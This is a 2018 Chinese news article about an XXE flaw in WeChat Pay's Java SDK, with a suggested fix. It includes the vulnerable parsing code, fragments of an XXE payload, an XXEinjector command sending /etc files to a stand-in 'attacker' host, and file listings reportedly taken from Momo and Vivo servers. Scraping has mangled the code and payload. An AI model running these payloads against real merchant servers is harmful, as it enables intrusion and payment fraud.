微信支付 SDK 惊爆漏洞:黑客可 0 元购买任意商品

2018-07-04

国外安全社区 Seclists.Org 里一名白帽子披露了微信支付官方 SDK 存在严重的 XXE 漏洞,可导致商家服务器被入侵,且黑客可避开真实支付通道,用虚假的支付通知来购买任意产品。



值得一提的是,这名白帽子不知如何联系微信安全团队人员,所以在 Twitter 上 @360Netlab,于是 360 代为转达了该漏洞。这就造成了在没有提前通知厂商的情况下就公布了这一漏洞。





打开网易新闻 查看更多精彩图片 





 


什么是 XXE 漏洞?

XML 外部实体注入漏洞(XML External Entity Injection,简称 XXE),是一种容易被忽视,但危害巨大的漏洞。它可以利用 XML 外部实体加载注入,执行不可预控的代码,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

微信 SDK 的 XXE 漏洞原理

通常,我们在使用微信支付时,商家会有一个通知的 URL 来接收异步支付结果。然而,微信在 JAVA 版本的 SDK 存在一个 XXE 漏洞来处理这个结果。由此攻击者可以向通知的 URL 中构建恶意的回调数据,以便根据需要窃取商家服务器上的任意信息。一旦攻击者获得商家的关键安全密钥(md5-key 和merchant-Id),那么他们可以通过发送伪造的信息来欺骗商家而无需付费购买任意商品。

影响范围

现已有陌陌、Vivo 已经验证被该漏洞影响。

受影响的版本有JAVA SDK,WxPayAPI_JAVA_v3。

存在漏洞的 SDK 页面链接

JAVA SDK链接

WxPayAPI_JAVA_v3链接

漏洞详情

WxPayApi_JAVA_v3.zip 的 README.md 中显示了更多的细节:

notifycodeexample:
[
StringnotifyData="....";
MyConfigconfig=newMyConfig();
WXPaywxpay=newWXPay(config);
//convertomap
MapnotifyMap=WXPayUtil.xmlToMap(notifyData);
if(wxpay.isPayResultNotifySignatureValid(notifyMap)){
//dobusinesslogic
}
else{
}
]
WXPayUtilsourcecode
[
publicstaticMapxmlToMap(StringstrXML)throws
Exception{
try{
Mapdata=newHashMap();
/***notdisabledxxe*****/
//startparse
DocumentBuilderFactorydocumentBuilderFactory=
DocumentBuilderFactory.newInstance();
DocumentBuilderdocumentBuilder=
documentBuilderFactory.newDocumentBuilder();
InputStreamstream=newByteArrayInputStream(strXML.getBytes(
"UTF-8"));
org.w3c.dom.Documentdoc=documentBuilder.parse(stream);
//endparse
doc.getDocumentElement().normalize();
NodeListnodeList=doc.getDocumentElement().getChildNodes();
for(intidx=0;idx
Nodenode=nodeList.item(idx);
if(node.getNodeType()==Node.ELEMENT_NODE){
org.w3c.dom.Elementelement=(org.w3c.dom.Element)node
;
data.put(element.getNodeName(),element.getTextContent
());
}
}
try{
stream.close();
}catch(Exceptionex){
//donothing
returndata;
}catch(Exceptionex){
WXPayUtil.getLogger().warn("InvalidXML,cannotconvertto
map.Errormessage:{}.XMLcontent:{}",ex.getMessage(),strXML);
throwex;
}
]
();++idx){
,string>,string>,string>,string>

发布有效的商家通知 URL:




%xxe;
]>

data.dtd:

'>">
%shell;
%upload;

或使用XXEinjector 工具链接 以检测:

rubyXXEinjector.rb--host=attacker--path=/etc--file=req.txt--ssl
req.txt:
POSTmerchant_notification_urlHTTP/1.1
Host:merchant_notification_url_host
User-Agent:curl/7.43.0
Accept:*/*
Content-Length:57
Content-Type:application/x-www-form-urlencoded
XXEINJECT

陌陌案例:

attack:
notifyurl
链接
cmd:/home/
result:
***
logs
zhang.jiax**
zhang.shaol**
zhang.xia**
****
attack:
cmd:/home/logs

moa-service
momotrace

Vivo 案例:

attack:
notifyurl
链接
cmd:/home/
tomcat
attack:
cmd:/home/tomcat
result:
.bash_logout
.bash_profile
.bashrc
logs

cmd:/home/tomcat/logs
****
tomcat-2018-06-28.log
tomcat-2018-06-29.log
tomcat-2018-06-30.log

修复建议

用户可使用开发语言提供的禁用外部实体的方法。Java 禁用外部实体的代码如下:

DocumentBuilderFactorydbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

写在最后

目前,我们已经向微信支付的相关技术专家证实这一漏洞的存在,其表示正在紧急修复中。当然普通的用户也不用太过担心,受影响的是使用微信支付的部分网站,如果相关的企业使用的不是官方提供的 Java 版 SDK,也没有太大的问题。不过,XXE 漏洞并非第一次出现,但是一直以来,仍未得到重视,这也是作为开发者的我们需要反思的地方。


售前咨询:0594-6688668 快站建设logo

Copyright By © 2019 isohu.top